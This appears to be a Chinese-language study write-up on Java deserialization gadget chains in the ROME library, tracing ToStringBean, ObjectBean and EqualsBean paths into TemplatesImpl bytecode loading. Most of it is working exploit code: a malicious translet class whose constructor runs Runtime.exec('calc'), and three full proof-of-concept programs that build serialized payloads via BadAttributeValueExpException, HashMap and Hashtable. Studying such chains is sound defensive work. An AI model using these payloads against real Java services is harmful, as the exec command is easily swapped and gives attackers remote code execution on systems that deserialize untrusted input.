Rome
Rome 就是为 RSS聚合开发的框架, 可以提供RSS阅读和发布器。
Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作
Calc
package bytecode;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet {
public Calc(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException ignored) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
toString触发
看一下构造方法,两个可控
看看这个ToStringBean的toString()方法干了什么
最后调用了私有的toString,发现调用了getPropertyDescriptors, 查了一下, 作用是获取类属性, 这里的操作就是通过获取的属性写入pds,调用pds[i] 的 getName() 和 getReadMethod() 来获取方法名,和方法,最后invoke,调用的方法是无参函数
跟进 getPropertyDescriptors, 如果传入的Class在 _introspected 这个Map里面没有找到, 就调用**getPDs()**然后添加到 _introspected
跟进getPDs() 发现调用了它的重构方法
getPDs
回到toString, 通过for循环,经getName 和 getReadMethod 来获取方法名,和方法
接着invoke进行调用,调用getter方法,可以使用 TemplateImpl 动态加载字节码,
getOutputProperties() 方法就是类成员变量 _outputProperties 的 getter 方法, 所以会获取到 invoke
所以,ToStringBean 的 toString最后可以加载字节码
链子后半段利用已经完成,需要找到上半段链子为入口
BadAttributeValueExpException
CC5中利用的点
在 BadAttributeValueExpException的 readObject 中调用 valObj 的 toString 方法 而 valObj是通过获取val的值来进行赋值,也就是可控
poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
public class ROME {
public static void main(String[] args) throws Exception {
//TemplateImpl 动态加载字节码
byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "jiang");
setFieldValue(obj, "_class", null);
// setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj, "_bytecodes", new byte[][]{code});
ToStringBean bean = new ToStringBean(Templates.class, obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException, "val", bean);
//serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
// ByteArrayOutputStream baos = new ByteArrayOutputStream();
// ObjectOutputStream oos = new ObjectOutputStream(baos);
// oos.writeObject(badAttributeValueExpException);
// oos.close();
// System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// ObjectInputStream ois = new ObjectInputStream(bais);
// ois.readObject();
// ois.close();
}
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}
ObjectBean
这来源于ysoserial 的利用链,看调用链就完事了
/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/
poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class ROME {
public static void main(String[] args) throws Exception {
//TemplateImpl 动态加载字节码
byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "jiang");
setFieldValue(obj, "_class", null);
// setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj, "_bytecodes", new byte[][]{code});
ToStringBean bean = new ToStringBean(Templates.class, obj);
ObjectBean objectBean = new ObjectBean(String.class,"jiang");
HashMap map = new HashMap();
//Hashtable map = new Hashtable();
map.put(objectBean,"");
setFieldValue(objectBean,"_equalsBean",new EqualsBean(ToStringBean.class,bean));
//serialize(map);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}
除了 HashMap 里有 hashCode() 方法的调用,还有 Hashtable 这个类的 readObject 方法也存在 hashCode() 的调用
EqualsBean
在 EqualsBean 里,可以找到相似 ToStringBean 的利用,beanEquals 方法
发现equals调用
等于说后半段已经找好,需要找调用equals的前半段链子,CC7中,存在调用equals
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class ROME {
public static void main(String[] args) throws Exception {
//TemplateImpl 动态加载字节码
byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "jiang");
setFieldValue(obj, "_class", null);
// setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj, "_bytecodes", new byte[][]{code});
EqualsBean bean = new EqualsBean(String.class,"jiang");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",bean);
map1.put("zZ",obj);
map2.put("zZ",bean);
map2.put("yy",obj);
Hashtable table = new Hashtable();
table.put(map1,"1");
table.put(map2,"2");
setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",obj);
serialize(table);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}